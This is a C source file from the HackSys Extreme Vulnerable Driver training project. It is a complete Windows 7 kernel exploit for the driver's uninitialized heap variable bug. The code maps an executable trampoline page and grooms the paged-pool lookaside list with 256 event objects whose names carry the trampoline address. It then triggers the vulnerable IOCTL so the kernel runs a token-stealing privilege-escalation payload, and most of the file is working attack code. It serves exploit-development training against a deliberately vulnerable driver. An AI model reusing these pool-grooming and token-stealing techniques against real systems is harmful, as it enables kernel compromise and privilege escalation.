/*++

          ##     ## ######## ##     ## ########  
          ##     ## ##       ##     ## ##     ## 
          ##     ## ##       ##     ## ##     ## 
          ######### ######   ##     ## ##     ## 
          ##     ## ##        ##   ##  ##     ## 
          ##     ## ##         ## ##   ##     ## 
          ##     ## ########    ###    ########  

        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]hacksys[dot]io
Website: https://hacksys.io/

Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    UninitializedHeapVariable.c

Abstract:
    This module implements the exploit for Uninitialized
    Heap Variable Vulnerability implemented in HackSys
    Extreme Vulnerable Driver.

References:
    https://github.com/badd1e/bug-free-adventure/blob/master/uninitialized-pool/hacksys-challenge-Win7.cpp
    http://dokydoky.tistory.com/445

--*/

#include "UninitializedHeapVariable.h"

VOID GenerateObjectNameWithPayloadTrampoline(UCHAR Name[], UINT32 Length, ULONG_PTR Pivot) {
    UINT32 i = 0;

    for (i = 0; i < Length; i++) {
        Name[i] = RandomNumber(0x41, 0x5A); // From A-Z
    }

    Name[4] = (UINT_PTR)Pivot & 0xFF;
    Name[5] = ((UINT_PTR)Pivot & 0xFF00) >> 8;
    Name[6] = ((UINT_PTR)Pivot & 0xFF0000) >> 16;
    Name[7] = (UINT_PTR)Pivot >> 24;

    Name[Length - 1] = '\0';
}

ULONG_PTR MapPivotPage(PVOID Payload) {
    ULONG_PTR Pivot = 0;
    PVOID BaseAddress = NULL;
    SIZE_T RegionSize = 0x1;
    BOOLEAN PivotMapped = FALSE;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;

    while (!PivotMapped) {
        Pivot = RandomNumber(0x41, 0x4F) & 0xFF;
        Pivot |= (RandomNumber(0x31, 0x3F) & 0xFF) << 8;
        Pivot |= (RandomNumber(0x21, 0x2F) & 0xFF) << 16;
        Pivot |= (RandomNumber(0x11, 0x1F) & 0xFF) << 24;

        BaseAddress = (PVOID)Pivot;

        NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
                                           &BaseAddress,
                                           0,
                                           &RegionSize,
                                           MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
                                           PAGE_EXECUTE_READWRITE);

        if (NtStatus == STATUS_SUCCESS) {
            *(PBYTE)Pivot = 0x68;                           // push 32b imm
            *(PULONG_PTR)(Pivot + 1) = (ULONG_PTR)Payload;
            *(PBYTE)(Pivot + 5) = 0xC3;                     // ret

            PivotMapped = TRUE;

            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);
            DEBUG_INFO("\t\t\t[+] Payload Trampoline: 0x%p\n", Pivot);
        }
    }

    return Pivot;
}

VOID PopulateLookAsideList(PVOID Payload) {
    UINT32 i = 0;
    ULONG_PTR Pivot = 0;
    UCHAR EventName[MAX_OBJECT_NAME_LENGTH] = { 0 };
    HANDLE EventObjects[MAX_CHUNKS_IN_LAL_BUCKET] = { 0 };

    // Initialize the Random Number Generator
    srand((unsigned)time(NULL));

    Pivot = MapPivotPage(Payload);

    /*
     We know that each bucket in LookAsideList can not hold more than 256 free chunks.

     As we are dealing with Named Objects, one of the caveat is, if same static string
     is passed to consecutive calls to Object constructor as Object Name, then only one
     Pool chunk will be served for all the requests. This will not allow us to populate
     LookAsideList and the exploitation will fail.

     To overcome this issue, we need to make sure that the string is random for each call
     to Object constructor.

     So, to populate the LookAsideList, allocate 256 objects of same size and then free them.
    */

    for (i = 0; i < MAX_CHUNKS_IN_LAL_BUCKET; i++) {
        GenerateObjectNameWithPayloadTrampoline(EventName,
                                                sizeof(EventName) - UNICODE_TERMINATOR_LENGTH,
                                                Pivot);

        EventObjects[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)EventName);

        if (!EventObjects[i]) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 256; i++) {
        if (!CloseHandle(EventObjects[i])) {
            DEBUG_ERROR("\t\t[-] Failed To Close Event Object Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

VOID WaitForLookAsideListActivation() {
    ULONG TickCount = 0;
    ULONG TickCountDifference = 0;
    ULONG TargetTickCount = 125000; // 2 minutes + 30 seconds (extra)

    // Get the tick count
    TickCount = GetTickCount();

    if (TickCount > TargetTickCount) {
        DEBUG_INFO("\t\t\t[+] LookAsideList is already activated\n");
    }
    else {
        TickCountDifference = TargetTickCount - TickCount;

        DEBUG_INFO("\t\t\t[+] Waiting %d seconds for LookAsideList activation\n", TickCountDifference/1000);

        Sleep(TickCountDifference);

        DEBUG_INFO("\t\t\t[+] LookAsideList is now activated\n");
    }
}

DWORD WINAPI UninitializedHeapVariableThread(LPVOID Parameter) {
    UINT32 i = 0;
    ULONG BytesReturned;
    HANDLE hFile = NULL;
    ULONG_PTR MagicValue = 0xBAADF00D;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    PVOID EopPayload = &TokenStealingPayloadDuplicateToken;

    __try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        /*
         This is a very interesting bug. At first, it seems to be a very easy bug to exploit.
         However, we need to solve some challenges.

         Challenges
            1. Grooming Paged Pool (4 Paged Pool in Uniprocessor System)
            2. Preparing Target Pool Chunk with controlled data

         We know that vulnerability is like call [address + 4]. So, this is very important
         for exploitation. As we know that when a pool chunk is freed to ListHeads, POOL_HEADER
         is immediately followed by LIST_ENTRY structure which is used to track the pool chunk.

         If you remember, LIST_ENTRY is of 8 bytes. Hence, if the Pool chunk is freed to ListHeads
         then the exploitation will fail as call [LIST_ENTRY.Blink] will throw an exception.

         For successful exploitation, the target pool chunk should be freed to LookAsideList because
         chunks in LookAsideList are tracked using SLIST_ENTRY which has only one member.
        */

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        // Resolve Kernel Symbols
        ResolveKernelAPIs();

        /*
         First stage of exploitation is to make sure that LookAsideList is activated.

         If you have read Tarjei's paper on "Kernel Pool Exploitation on Windows 7", you will
         know that LookAsideList is lazy activated 2 minutes after boot.

         Ref: http://gate.upm.ro/os/LABs/Windows_OS_Internals_Curriculum_Resource_Kit-ACADEMIC/WindowsResearchKernel-WRK/WRK-v1.2/base/ntos/ex/pool.c

         So, let's make sure that 2 minutes have elapsed after boot or wait for the same.
        */

        DEBUG_INFO("\t\t[+] Checking LookAsideList activation status\n");

        WaitForLookAsideListActivation();

        /*
         Next stage of exploitation is to make sure that _KPRCB.PPPagedLookasideList[0x1E]
         ((((0xF0+0xF) >> 3) - 1) = 0x1E) is populated.

         If the payload address contains NULL, then the exploitation will fail. So, make sure
         there is no NULL in the payload address.
        */

        DEBUG_INFO("\t\t[+] Populating _KPRCB.PPPagedLookasideList[0x1E]\n");

        PopulateLookAsideList(EopPayload);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

        DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Heap Variable\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE,
                        (LPVOID)&MagicValue,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
